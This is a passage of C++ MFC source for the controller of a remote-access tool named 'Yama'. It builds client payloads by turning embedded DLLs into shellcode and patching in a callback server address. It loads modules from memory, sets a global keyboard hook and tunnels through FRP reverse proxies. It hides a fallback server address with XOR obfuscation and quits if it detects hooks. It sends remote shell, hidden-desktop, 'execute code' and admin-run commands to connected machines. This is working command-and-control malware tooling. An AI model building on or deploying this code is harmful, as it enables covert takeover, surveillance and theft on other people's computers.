CTime Timer = CTime::GetCurrentTime();
CString strTime= Timer.Format("%H:%M:%S");
m_CList_Message.InsertItem(0, strType); //向控件中设置数据
m_CList_Message.SetItemText(0,1,strTime);
m_CList_Message.SetItemText(0,2,strMsg);
CString strStatusMsg;
EnterCriticalSection(&m_cs);
int m_iCount = m_CList_Online.GetItemCount();
LeaveCriticalSection(&m_cs);
strStatusMsg.Format("有%d个主机在线",m_iCount);
m_StatusBar.SetPaneText(0,strStatusMsg); //在状态条上显示文字
}
LRESULT CMy2015RemoteDlg::OnShowErrMessage(WPARAM wParam, LPARAM lParam)
{
CString* text = (CString*)wParam;
CString* title = (CString*)lParam;
CTime Timer = CTime::GetCurrentTime();
CString strTime = Timer.Format("%H:%M:%S");
m_CList_Message.InsertItem(0, title ? *title : "操作错误");
m_CList_Message.SetItemText(0, 1, strTime);
m_CList_Message.SetItemText(0, 2, text ? *text : "内部错误");
delete title;
delete text;
return S_OK;
}
extern "C" BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction,
LPVOID userData, DWORD userLength, DWORD flags, LPSTR * outBytes, DWORD * outLength);
bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength, bool align=false)
{
if (originBuffer[0] == 'M' && originBuffer[1] == 'Z') {
LPSTR finalShellcode = NULL;
DWORD finalSize;
if (!ConvertToShellcode(originBuffer, ulOriginalLength, NULL, NULL, 0, 0x1, &finalShellcode, &finalSize)) {
return false;
}
int padding = align ? ALIGN16(finalSize) - finalSize : 0;
compressedBuffer = new BYTE[finalSize + padding];
memset(compressedBuffer + finalSize, 0, padding);
ulTotalSize = finalSize;
memcpy(compressedBuffer, finalShellcode, finalSize);
free(finalShellcode);
return true;
}
return false;
}
Buffer* ReadKernelDll(bool is64Bit, bool isDLL=true, const std::string &addr="")
{
BYTE* szBuffer = NULL;
int dwFileSize = 0;
// 查找名为 MY_BINARY_FILE 的 BINARY 类型资源
auto id = is64Bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86;
HRSRC hResource = FindResourceA(NULL, MAKEINTRESOURCE(id), "BINARY");
if (hResource == NULL) {
return NULL;
}
// 获取资源的大小
DWORD dwSize = SizeofResource(NULL, hResource);
// 加载资源
HGLOBAL hLoadedResource = LoadResource(NULL, hResource);
if (hLoadedResource == NULL) {
return NULL;
}
// 锁定资源并获取指向资源数据的指针
LPVOID pData = LockResource(hLoadedResource);
if (pData == NULL) {
return NULL;
}
LPBYTE srcData = (LPBYTE)pData;
int srcLen = dwSize;
if (!isDLL) { // Convert DLL -> Shell code.
if (!MakeShellcode(srcData, srcLen, (LPBYTE)pData, dwSize)) {
Mprintf("MakeShellcode failed \n");
return false;
}
}
dwFileSize = srcLen;
int bufSize = sizeof(int) + dwFileSize + 2;
int padding = ALIGN16(bufSize) - bufSize;
szBuffer = new BYTE[bufSize + padding];
szBuffer[0] = CMD_DLLDATA;
szBuffer[1] = isDLL ? MEMORYDLL : SHELLCODE;
memcpy(szBuffer + 2, &dwFileSize, sizeof(int));
memcpy(szBuffer + 2 + sizeof(int), srcData, dwFileSize);
memset(szBuffer + 2 + sizeof(int) + dwFileSize, 0, padding);
// CMD_DLLDATA + SHELLCODE + dwFileSize + pData
std::string s(skCrypt(FLAG_FINDEN)), ip, port;
int offset = MemoryFind((char*)szBuffer, s.c_str(), dwFileSize, s.length());
if (offset != -1) {
CONNECT_ADDRESS* server = (CONNECT_ADDRESS*)(szBuffer + offset);
if (!addr.empty()) {
splitIpPort(addr, ip, port);
server->SetServer(ip.c_str(), atoi(port.c_str()));
server->SetAdminId(GetMasterHash().c_str());
}
if (g_2015RemoteDlg->m_superID % 313 == 0) {
server->iHeaderEnc = PROTOCOL_HELL;
// TODO: UDP 协议不稳定
server->protoType = PROTO_TCP;
}
server->SetType(isDLL ? CLIENT_TYPE_MEMDLL : CLIENT_TYPE_SHELLCODE);
memcpy(server->pwdHash, GetPwdHash().c_str(), 64);
}
auto md5 = CalcMD5FromBytes(szBuffer + 2 + sizeof(int), dwFileSize);
auto ret = new Buffer(szBuffer, bufSize + padding, padding, md5);
delete[] szBuffer;
if (srcData != pData)
SAFE_DELETE_ARRAY(srcData);
return ret;
}
bool IsAddressInSystemModule(void* addr, const std::string& expectedModuleName)
{
MEMORY_BASIC_INFORMATION mbi = {};
if (VirtualQuery(addr, &mbi, sizeof(mbi)) == 0)
return false;
char modPath[MAX_PATH] = {};
if (GetModuleFileNameA((HMODULE)mbi.AllocationBase, modPath, MAX_PATH) == 0)
return false;
std::string path = modPath;
// 合法跳转:仍在指定模块或 system32 下
return (path.find(expectedModuleName) != std::string::npos ||
path.find("System32") != std::string::npos ||
path.find("SysWOW64") != std::string::npos);
}
bool IsFunctionReallyHooked(const char* dllName, const char* funcName)
{
HMODULE hMod = GetModuleHandleA(dllName);
if (!hMod) return true;
FARPROC pFunc = GetProcAddress(hMod, funcName);
if (!pFunc) return true;
BYTE* p = (BYTE*)pFunc;
#ifdef _WIN64
// 64 位:检测 FF 25 xx xx xx xx => JMP [RIP+rel32]
if (p[0] == 0xFF && p[1] == 0x25) {
INT32 relOffset = *(INT32*)(p + 2);
uintptr_t* pJumpPtr = (uintptr_t*)(p + 6 + relOffset);
if (!IsBadReadPtr(pJumpPtr, sizeof(void*))) {
void* realTarget = (void*)(*pJumpPtr);
if (!IsAddressInSystemModule(realTarget, dllName))
return true; // 跳到未知模块,可能是 Hook
}
}
// JMP rel32 (E9)
if (p[0] == 0xE9) {
INT32 rel = *(INT32*)(p + 1);
void* target = (void*)(p + 5 + rel);
if (!IsAddressInSystemModule(target, dllName))
return true;
}
#else
// 32 位:检测 FF 25 xx xx xx xx => JMP [abs addr]
if (p[0] == 0xFF && p[1] == 0x25) {
uintptr_t* pJumpPtr = *(uintptr_t**)(p + 2);
if (!IsBadReadPtr(pJumpPtr, sizeof(void*))) {
void* target = (void*)(*pJumpPtr);
if (!IsAddressInSystemModule(target, dllName))
return true;
}
}
// JMP rel32
if (p[0] == 0xE9) {
INT32 rel = *(INT32*)(p + 1);
void* target = (void*)(p + 5 + rel);
if (!IsAddressInSystemModule(target, dllName))
return true;
}
#endif
// 检测 PUSH addr; RET
if (p[0] == 0x68 && p[5] == 0xC3) {
void* target = *(void**)(p + 1);
if (!IsAddressInSystemModule(target, dllName))
return true;
}
return false; // 未发现 Hook
}
BOOL CMy2015RemoteDlg::OnInitDialog()
{
AUTO_TICK(500);
CDialogEx::OnInitDialog();
g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, AfxGetInstanceHandle(), 0);
m_GroupList = {"default"};
// Grid 容器
int size = THIS_CFG.GetInt("settings", "VideoWallSize");
size = max(size, 1);
if (size > 1) {
m_gridDlg = new CGridDialog();
m_gridDlg->Create(IDD_GRID_DIALOG, GetDesktopWindow());
m_gridDlg->ShowWindow(SW_HIDE);
m_gridDlg->SetGrid(size, size);
}
if (!IsPwdHashValid()) {
THIS_CFG.SetStr("settings", "superAdmin", "");
THIS_CFG.SetStr("settings", "Password", "");
THIS_CFG.SetInt("settings", "MaxConnection", 2);
THIS_APP->UpdateMaxConnection(2);
}
if (GetPwdHash() == GetMasterHash()) {
auto pass = THIS_CFG.GetStr("settings", "superAdmin");
if (hashSHA256(pass) == GetPwdHash()) {
m_superPass = pass;
} else {
THIS_CFG.SetStr("settings", "superAdmin", "");
}
}
// 将“关于...”菜单项添加到系统菜单中。
SetWindowText(_T("Yama"));
LoadFromFile(m_ClientMap, GetDbPath());
// IDM_ABOUTBOX 必须在系统命令范围内。
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
ASSERT(IDM_ABOUTBOX < 0xF000);
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL) {
BOOL bNameValid;
CString strAboutMenu;
bNameValid = strAboutMenu.LoadString(IDS_ABOUTBOX);
ASSERT(bNameValid);
if (!strAboutMenu.IsEmpty()) {
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
}
}
// 主控程序公网IP
std::string ip = THIS_CFG.GetStr("settings", "master", "");
int port = THIS_CFG.Get1Int("settings", "ghost", ';', 6543);
std::string master = ip.empty() ? "" : ip + ":" + std::to_string(port);
const Validation* v = GetValidation();
if (!(strlen(v->Admin) && v->Port > 0)) {
// IMPORTANT: For authorization only.
PrintableXORCipher cipher;
char buf1[] = { "ld{ll{dc`{geb" }, buf2[] = {"b`af"};
cipher.process(buf1, strlen(buf1));
cipher.process(buf2, strlen(buf2));
static Validation test(99999, buf1, atoi(buf2));
v = &test;
}
if (strlen(v->Admin) && v->Port > 0) {
DWORD size = 0;
LPBYTE data = ReadResource(sizeof(void*) == 8 ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, size);
if (data) {
int offset = MemoryFind((char*)data, FLAG_FINDEN, size, strlen(FLAG_FINDEN));
if (offset != -1) {
CONNECT_ADDRESS* p = (CONNECT_ADDRESS*)(data + offset);
p->SetServer(v->Admin, v->Port);
p->SetAdminId(GetMasterHash().c_str());
p->iType = CLIENT_TYPE_MEMDLL;
p->parentHwnd = (uint64_t)GetSafeHwnd();
memcpy(p->pwdHash, GetPwdHash().c_str(), 64);
m_tinyDLL = MemoryLoadLibrary(data, size);
}
SAFE_DELETE_ARRAY(data);
}
}
g_2015RemoteDlg = this;
m_ServerDLL[PAYLOAD_DLL_X86] = ReadKernelDll(false, true, master);
m_ServerDLL[PAYLOAD_DLL_X64] = ReadKernelDll(true, true, master);
m_ServerBin[PAYLOAD_DLL_X86] = ReadKernelDll(false, false, master);
m_ServerBin[PAYLOAD_DLL_X64] = ReadKernelDll(true, false, master);
// 设置此对话框的图标。当应用程序主窗口不是对话框时,框架将自动
// 执行此操作
SetIcon(m_hIcon, TRUE); // 设置大图标
SetIcon(m_hIcon, FALSE); // 设置小图标
// TODO: 在此添加额外的初始化代码
isClosed = FALSE;
CreateToolBar();
InitControl();
CreatStatusBar();
CreateNotifyBar();
CreateSolidMenu();
std::string nPort = THIS_CFG.GetStr("settings", "ghost", "6543");
m_nMaxConnection = 2;
std::string pwd = THIS_CFG.GetStr("settings", "Password");
auto arr = StringToVector(pwd, '-', 6);
if (arr.size() == 7) {
m_nMaxConnection = atoi(arr[2].c_str());
} else {
int nMaxConnection = THIS_CFG.GetInt("settings", "MaxConnection");
m_nMaxConnection = nMaxConnection <= 0 ? 10000 : nMaxConnection;
}
const std::string method = THIS_CFG.GetStr("settings", "UDPOption", "0");
int m = atoi(THIS_CFG.GetStr("settings", "ReportInterval", "5").c_str());
int n = THIS_CFG.GetInt("settings", "SoftwareDetect");
int usingFRP = master.empty() ? 0 : THIS_CFG.GetInt("frp", "UseFrp");
m_settings = { m, sizeof(void*) == 8, __DATE__, n, usingFRP };
auto w = THIS_CFG.GetStr("settings", "wallet", "");
memcpy(m_settings.WalletAddress, w.c_str(), w.length());
std::map<int, std::string> myMap = {{SOFTWARE_CAMERA, "摄像头"}, {SOFTWARE_TELEGRAM, "电报" }};
std::string str = myMap[n];
LVCOLUMN lvColumn;
memset(&lvColumn, 0, sizeof(LVCOLUMN));
lvColumn.mask = LVCF_TEXT;
lvColumn.pszText = (char*)str.data();
m_CList_Online.SetColumn(ONLINELIST_VIDEO, &lvColumn);
timeBeginPeriod(1);
if (IsFunctionReallyHooked("user32.dll","SetTimer") || IsFunctionReallyHooked("user32.dll", "KillTimer")) {
MessageBoxA("FUCK!!! 请勿HOOK此程序!", "提示", MB_ICONERROR);
ExitProcess(-1);
return FALSE;
}
int tm = THIS_CFG.GetInt("settings", "Notify", 10);
tm = min(tm, 10);
#ifdef _DEBUG
SetTimer(TIMER_CHECK, max(1, tm) * 1000, NULL);
#else
SetTimer(TIMER_CHECK, max(1, tm) * 60 * 1000, NULL);
#endif
m_hFRPThread = CreateThread(NULL, 0, StartFrpClient, this, NULL, NULL);
// 最后启动SOCKET
if (!Activate(nPort, m_nMaxConnection, method)) {
OnCancel();
return FALSE;
}
THIS_CFG.SetStr("settings", "MainWnd", std::to_string((uint64_t)GetSafeHwnd()));
return TRUE; // 除非将焦点设置到控件,否则返回 TRUE
}
DWORD WINAPI CMy2015RemoteDlg::StartFrpClient(LPVOID param)
{
CMy2015RemoteDlg* This = (CMy2015RemoteDlg*)param;
IPConverter cvt;
std::string ip = THIS_CFG.GetStr("settings", "master", "");
CString tip = !ip.empty() && ip != cvt.getPublicIP() ?
CString(ip.c_str()) + " 必须是\"公网IP\"或反向代理服务器IP" :
"请设置\"公网IP\"或使用反向代理服务器的IP";
This->PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CString(tip), NULL);
int usingFRP = 0;
#ifdef _WIN64
usingFRP = ip.empty() ? 0 : THIS_CFG.GetInt("frp", "UseFrp");
#endif
if (!usingFRP) {
CloseHandle(This->m_hFRPThread);
This->m_hFRPThread = NULL;
return 0x20250820;
}
Mprintf("[FRP] Proxy thread start running\n");
do {
DWORD size = 0;
LPBYTE frpc = ReadResource(IDR_BINARY_FRPC, size);
if (frpc == nullptr) {
Mprintf("Failed to read FRP DLL\n");
break;
}
HMEMORYMODULE hDLL = MemoryLoadLibrary(frpc, size);
SAFE_DELETE_ARRAY(frpc);
if (hDLL == NULL) {
Mprintf("Failed to load FRP DLL\n");
break;
}
typedef int (*Run)(char* cstr, int* ptr);
Run run = (Run)MemoryGetProcAddress(hDLL, "Run");
if (!run) {
Mprintf("Failed to get FRP function\n");
MemoryFreeLibrary(hDLL);
break;
}
std::string s = GetFrpSettingsPath();
int n = run((char*)s.c_str(), &(This->m_frpStatus));
if (n) {
Mprintf("Failed to run FRP function\n");
This->PostMessage(WM_SHOWERRORMSG,(WPARAM)new CString("反向代理: 公网IP和代理设置是否正确? FRP 服务端是否运行?"));
}
// Free FRP DLL will cause crash
// Do NOT use MemoryFreeLibrary and 528 bytes memory leak detected when exiting master
// MemoryFreeLibrary(hDLL);
} while (false);
CloseHandle(This->m_hFRPThread);
This->m_hFRPThread = NULL;
Mprintf("[FRP] Proxy thread stop running\n");
return 0x20250731;
}
void CMy2015RemoteDlg::ApplyFrpSettings()
{
auto master = THIS_CFG.GetStr("settings", "master");
if (master.empty()) return;
config cfg(GetFrpSettingsPath());
cfg.SetStr("common", "server_addr", master);
cfg.SetInt("common", "server_port", THIS_CFG.GetInt("frp", "server_port", 7000));
cfg.SetStr("common", "token", THIS_CFG.GetStr("frp", "token"));
cfg.SetStr("common", "log_file", THIS_CFG.GetStr("frp", "log_file", "./frpc.log"));
auto ports = THIS_CFG.GetStr("settings", "ghost", "6543");
auto arr = StringToVector(ports, ';');
for (int i = 0; i < arr.size(); ++i) {
auto tcp = "YAMA-TCP-" + arr[i];
cfg.SetStr(tcp, "type", "tcp");
cfg.SetStr(tcp, "local_port", arr[i]);
cfg.SetStr(tcp, "remote_port", arr[i]);
auto udp = "YAMA-UDP-" + arr[i];
cfg.SetStr(udp, "type", "udp");
cfg.SetStr(udp, "local_port", arr[i]);
cfg.SetStr(udp, "remote_port", arr[i]);
}
}
void CMy2015RemoteDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
if ((nID & 0xFFF0) == IDM_ABOUTBOX) {
CAboutDlg dlgAbout;
dlgAbout.DoModal();
} else {
CDialogEx::OnSysCommand(nID, lParam);
}
}
// 如果向对话框添加最小化按钮,则需要下面的代码
// 来绘制该图标。对于使用文档/视图模型的 MFC 应用程序,
// 这将由框架自动完成。
void CMy2015RemoteDlg::OnPaint()
{
if (IsIconic()) {
CPaintDC dc(this); // 用于绘制的设备上下文
SendMessage(WM_ICONERASEBKGND, reinterpret_cast<WPARAM>(dc.GetSafeHdc()), 0);
// 使图标在工作区矩形中居中
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;
// 绘制图标
dc.DrawIcon(x, y, m_hIcon);
} else {
CDialogEx::OnPaint();
}
}
//当用户拖动最小化窗口时系统调用此函数取得光标
//显示。
HCURSOR CMy2015RemoteDlg::OnQueryDragIcon()
{
return static_cast<HCURSOR>(m_hIcon);
}
void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy)
{
CDialogEx::OnSize(nType, cx, cy);
// TODO: 在此处添加消息处理程序代码
if (SIZE_MINIMIZED==nType) {
return;
}
EnterCriticalSection(&m_cs);
if (m_CList_Online.m_hWnd!=NULL) { //(控件也是窗口因此也有句柄)
CRect rc;
rc.left = 1; //列表的左坐标
rc.top = 80; //列表的上坐标
rc.right = cx-1; //列表的右坐标
rc.bottom = cy-160; //列表的下坐标
m_GroupTab.MoveWindow(rc);
CRect rcInside;
m_GroupTab.GetClientRect(&rcInside);
m_GroupTab.AdjustRect(FALSE, &rcInside);
rcInside.bottom -= 1;
m_CList_Online.MoveWindow(&rcInside);
auto total = rcInside.Width() - 24;
for(int i=0; i<g_Column_Count_Online; ++i) { //遍历每一个列
double Temp=g_Column_Data_Online[i].nWidth; //得到当前列的宽度 138
Temp/=g_Column_Online_Width; //看一看当前宽度占总长度的几分之几
Temp*=total; //用原来的长度乘以所占的几分之几得到当前的宽度
int lenth = Temp; //转换为int 类型
m_CList_Online.SetColumnWidth(i,(lenth)); //设置当前的宽度
}
}
LeaveCriticalSection(&m_cs);
if (m_CList_Message.m_hWnd!=NULL) {
CRect rc;
rc.left = 1; //列表的左坐标
rc.top = cy-160; //列表的上坐标
rc.right = cx-1; //列表的右坐标
rc.bottom = cy-20; //列表的下坐标
m_CList_Message.MoveWindow(rc);
auto total = cx - 24;
for(int i=0; i<g_Column_Count_Message; ++i) { //遍历每一个列
double Temp=g_Column_Data_Message[i].nWidth; //得到当前列的宽度
Temp/=g_Column_Message_Width; //看一看当前宽度占总长度的几分之几
Temp*=total; //用原来的长度乘以所占的几分之几得到当前的宽度
int lenth=Temp; //转换为int 类型
m_CList_Message.SetColumnWidth(i,(lenth)); //设置当前的宽度
}
}
if(m_StatusBar.m_hWnd!=NULL) { //当对话框大小改变时 状态条大小也随之改变
CRect Rect;
Rect.top=cy-20;
Rect.left=0;
Rect.right=cx;
Rect.bottom=cy;
m_StatusBar.MoveWindow(Rect);
m_StatusBar.SetPaneInfo(0, m_StatusBar.GetItemID(0),SBPS_POPOUT, cx-10);
}
if(m_ToolBar.m_hWnd!=NULL) { //工具条
CRect rc;
rc.top=rc.left=0;
rc.right=cx;
rc.bottom=80;
m_ToolBar.MoveWindow(rc); //设置工具条大小位置
}
}
LRESULT CMy2015RemoteDlg::OnPasswordCheck(WPARAM wParam, LPARAM lParam)
{
static bool isChecking = false;
if (isChecking)
return S_OK;
isChecking = true;
if (!CheckValid(-1)) {
KillTimer(TIMER_CHECK);
m_nMaxConnection = 2;
THIS_APP->UpdateMaxConnection(m_nMaxConnection);
int tm = THIS_CFG.GetInt("settings", "Notify", 10);
THIS_CFG.SetInt("settings", "Notify", tm - 1);
}
isChecking = false;
return S_OK;
}
void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
{
if (nIDEvent == TIMER_CHECK) {
static int count = 0;
static std::string eventName = EventName();
HANDLE hEvent = OpenEventA(SYNCHRONIZE, FALSE, eventName.c_str());
if (hEvent) {
CloseHandle(hEvent);
} else if (++count == 10) {
THIS_APP->UpdateMaxConnection(count);
}
if (!m_superPass.empty()) {
Mprintf(">>> Timer is killed <<<\n");
KillTimer(nIDEvent);
std::string masterHash = GetMasterHash();
if (GetPwdHash() == masterHash) {
THIS_CFG.SetStr("settings", "superAdmin", m_superPass);
THIS_CFG.SetStr("settings", "HMAC", genHMAC(masterHash, m_superPass));
}
return;
}
PostMessageA(WM_PASSWORDCHECK);
}
if (nIDEvent == TIMER_CLOSEWND) {
DeletePopupWindow();
}
CDialogEx::OnTimer(nIDEvent);
}
void CMy2015RemoteDlg::DeletePopupWindow()
{
if (m_pFloatingTip) {
if (::IsWindow(m_pFloatingTip->GetSafeHwnd()))
m_pFloatingTip->DestroyWindow();
SAFE_DELETE(m_pFloatingTip);
}
KillTimer(TIMER_CLOSEWND);
}
void CMy2015RemoteDlg::OnClose()
{
// 隐藏窗口而不是关闭
ShowWindow(SW_HIDE);
Mprintf("======> Hide\n");
}
void CMy2015RemoteDlg::Release()
{
Mprintf("======> Release\n");
DeletePopupWindow();
isClosed = TRUE;
m_frpStatus = STATUS_EXIT;
ShowWindow(SW_HIDE);
Shell_NotifyIcon(NIM_DELETE, &m_Nid);
BYTE bToken = CLIENT_EXIT_WITH_SERVER ? COMMAND_BYE : SERVER_EXIT;
EnterCriticalSection(&m_cs);
for (auto i=m_HostList.begin(); i!=m_HostList.end(); ++i) {
context* ContextObject = *i;
ContextObject->Send2Client(&bToken, sizeof(BYTE));
ContextObject->Destroy();
}
LeaveCriticalSection(&m_cs);
Sleep(500);
while (m_hFRPThread)
Sleep(20);
THIS_APP->Destroy();
SAFE_DELETE(m_gridDlg);
g_2015RemoteDlg = NULL;
SetEvent(m_hExit);
CloseHandle(m_hExit);
m_hExit = NULL;
Sleep(500);
timeEndPeriod(1);
}
int CALLBACK CMy2015RemoteDlg::CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort)
{
auto* pSortInfo = reinterpret_cast<std::pair<int, bool>*>(lParamSort);
int nColumn = pSortInfo->first;
bool bAscending = pSortInfo->second;
// 获取列值
CONTEXT_OBJECT* context1 = (CONTEXT_OBJECT*)lParam1;
CONTEXT_OBJECT* context2 = (CONTEXT_OBJECT*)lParam2;
CString s1 = context1->GetClientData(nColumn);
CString s2 = context2->GetClientData(nColumn);
int result = s1 > s2 ? 1 : -1;
return bAscending ? result : -result;
}
void CMy2015RemoteDlg::SortByColumn(int nColumn)
{
static int m_nSortColumn = 0;
static bool m_bSortAscending = false;
if (nColumn == m_nSortColumn) {
// 如果点击的是同一列,切换排序顺序
m_bSortAscending = !m_bSortAscending;
} else {
// 否则,切换到新列并设置为升序
m_nSortColumn = nColumn;
m_bSortAscending = true;
}
// 创建排序信息
std::pair<int, bool> sortInfo(m_nSortColumn, m_bSortAscending);
EnterCriticalSection(&m_cs);
m_CList_Online.SortItems(CompareFunction, reinterpret_cast<LPARAM>(&sortInfo));
LeaveCriticalSection(&m_cs);
}
void CMy2015RemoteDlg::OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult)
{
LPNMHEADER pNMHeader = reinterpret_cast<LPNMHEADER>(pNMHDR);
int nColumn = pNMHeader->iItem; // 获取点击的列索引
SortByColumn(nColumn); // 调用排序函数
*pResult = 0;
}
void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
{
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
//弹出菜单
CMenu Menu;
Menu.LoadMenu(IDR_MENU_LIST_ONLINE); //加载菜单资源 资源和类对象关联
CMenu* SubMenu = Menu.GetSubMenu(0);
CPoint Point;
GetCursorPos(&Point);
Menu.SetMenuItemBitmaps(ID_ONLINE_MESSAGE, MF_BYCOMMAND, &m_bmOnline[0], &m_bmOnline[0]);
Menu.SetMenuItemBitmaps(ID_ONLINE_UPDATE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]);
Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[2], &m_bmOnline[2]);
Menu.SetMenuItemBitmaps(ID_ONLINE_SHARE, MF_BYCOMMAND, &m_bmOnline[3], &m_bmOnline[3]);
Menu.SetMenuItemBitmaps(ID_MAIN_PROXY, MF_BYCOMMAND, &m_bmOnline[4], &m_bmOnline[4]);
Menu.SetMenuItemBitmaps(ID_ONLINE_HOSTNOTE, MF_BYCOMMAND, &m_bmOnline[5], &m_bmOnline[5]);
Menu.SetMenuItemBitmaps(ID_ONLINE_VIRTUAL_DESKTOP, MF_BYCOMMAND, &m_bmOnline[6], &m_bmOnline[6]);
Menu.SetMenuItemBitmaps(ID_ONLINE_GRAY_DESKTOP, MF_BYCOMMAND, &m_bmOnline[7], &m_bmOnline[7]);
Menu.SetMenuItemBitmaps(ID_ONLINE_REMOTE_DESKTOP, MF_BYCOMMAND, &m_bmOnline[8], &m_bmOnline[8]);
Menu.SetMenuItemBitmaps(ID_ONLINE_H264_DESKTOP, MF_BYCOMMAND, &m_bmOnline[9], &m_bmOnline[9]);
Menu.SetMenuItemBitmaps(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND, &m_bmOnline[10], &m_bmOnline[10]);
Menu.SetMenuItemBitmaps(ID_ONLINE_UNAUTHORIZE, MF_BYCOMMAND, &m_bmOnline[11], &m_bmOnline[11]);
Menu.SetMenuItemBitmaps(ID_ONLINE_ASSIGN_TO, MF_BYCOMMAND, &m_bmOnline[12], &m_bmOnline[12]);
Menu.SetMenuItemBitmaps(ID_ONLINE_ADD_WATCH, MF_BYCOMMAND, &m_bmOnline[13], &m_bmOnline[13]);
Menu.SetMenuItemBitmaps(ID_ONLINE_RUN_AS_ADMIN, MF_BYCOMMAND, &m_bmOnline[14], &m_bmOnline[14]);
Menu.SetMenuItemBitmaps(ID_ONLINE_UNINSTALL, MF_BYCOMMAND, &m_bmOnline[15], &m_bmOnline[15]);
Menu.SetMenuItemBitmaps(ID_ONLINE_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[16], &m_bmOnline[16]);
Menu.SetMenuItemBitmaps(ID_ONLINE_REGROUP, MF_BYCOMMAND, &m_bmOnline[17], &m_bmOnline[17]);
std::string masterHash(GetMasterHash());
if (GetPwdHash() != masterHash || m_superPass.empty()) {
Menu.DeleteMenu(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND);
Menu.DeleteMenu(ID_ONLINE_UNAUTHORIZE, MF_BYCOMMAND);
}
// 创建一个新的子菜单
CMenu newMenu;
if (!newMenu.CreatePopupMenu()) {
MessageBox(_T("创建分享主机的子菜单失败!"), "提示");
return;
}
int i = 0;
for (const auto& s : m_DllList) {
// 向子菜单中添加菜单项
newMenu.AppendMenuA(MF_STRING, ID_DYNAMIC_MENU_BASE + i++, s->Name.c_str());
}
if (i == 0) {
newMenu.AppendMenuA(MF_STRING, ID_DYNAMIC_MENU_BASE, "操作指导");
}
// 将子菜单添加到主菜单中
SubMenu->AppendMenuA(MF_STRING | MF_POPUP, (UINT_PTR)newMenu.Detach(), _T("执行代码"));
int iCount = SubMenu->GetMenuItemCount();
EnterCriticalSection(&m_cs);
int n = m_CList_Online.GetSelectedCount();
LeaveCriticalSection(&m_cs);
if (n == 0) { //如果没有选中
for (int i = 0; i < iCount; ++i) {
SubMenu->EnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //菜单全部变灰
}
} else if (GetPwdHash() != GetMasterHash()) {
SubMenu->EnableMenuItem(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
SubMenu->EnableMenuItem(ID_ONLINE_UNAUTHORIZE, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
}
// 刷新菜单显示
DrawMenuBar();
SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this);
*pResult = 0;
}
void CMy2015RemoteDlg::OnOnlineMessage()
{
BYTE bToken = COMMAND_TALK; //向被控端发送一个COMMAND_SYSTEM
SendSelectedCommand(&bToken, sizeof(BYTE));
}
void CMy2015RemoteDlg::OnOnlineUpdate()
{
if (IDYES != MessageBox(_T("确定升级选定的被控程序吗?\n需受控程序支持方可生效!"),
_T("提示"), MB_ICONQUESTION | MB_YESNO))
return;
Buffer* buf = m_ServerDLL[PAYLOAD_DLL_X64];
ULONGLONG fileSize = buf->length(true) - 6;
PBYTE buffer = new BYTE[fileSize + 9];
if (buffer) {
buffer[0] = COMMAND_UPDATE;
memcpy(buffer + 1, &fileSize, 8);
memcpy(buffer + 9, buf->c_str() + 6, fileSize);
SendSelectedCommand((PBYTE)buffer, 9 + fileSize);
delete[] buffer;
}
}
void CMy2015RemoteDlg::OnOnlineDelete()
{
// TODO: 在此添加命令处理程序代码
if (IDYES != MessageBox(_T("确定删除选定的被控计算机吗?"), _T("提示"), MB_ICONQUESTION | MB_YESNO))
return;
BYTE bToken = COMMAND_BYE; //向被控端发送一个COMMAND_SYSTEM
SendSelectedCommand(&bToken, sizeof(BYTE)); //Context PreSending PostSending
EnterCriticalSection(&m_cs);
int iCount = m_CList_Online.GetSelectedCount();
for (int i=0; i<iCount; ++i) {
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
CString strIP = m_CList_Online.GetItemText(iItem,ONLINELIST_IP);
context* ctx = (context*)m_CList_Online.GetItemData(iItem);
m_CList_Online.DeleteItem(iItem);
m_HostList.erase(ctx);
ctx->Destroy();
strIP+="断开连接";
ShowMessage("操作成功",strIP);
}
LeaveCriticalSection(&m_cs);
}
VOID CMy2015RemoteDlg::OnOnlineCmdManager()
{
BYTE bToken = COMMAND_SHELL;
SendSelectedCommand(&bToken, sizeof(BYTE));
}
VOID CMy2015RemoteDlg::OnOnlineProcessManager()
{
BYTE bToken = COMMAND_SYSTEM;
SendSelectedCommand(&bToken, sizeof(BYTE));
}
VOID CMy2015RemoteDlg::OnOnlineWindowManager()
{
BYTE bToken = COMMAND_WSLIST;
SendSelectedCommand(&bToken, sizeof(BYTE));
}
VOID CMy2015RemoteDlg::OnOnlineDesktopManager()
{
int n = THIS_CFG.GetInt("settings", "DXGI");
BOOL all = THIS_CFG.GetInt("settings", "MultiScreen");
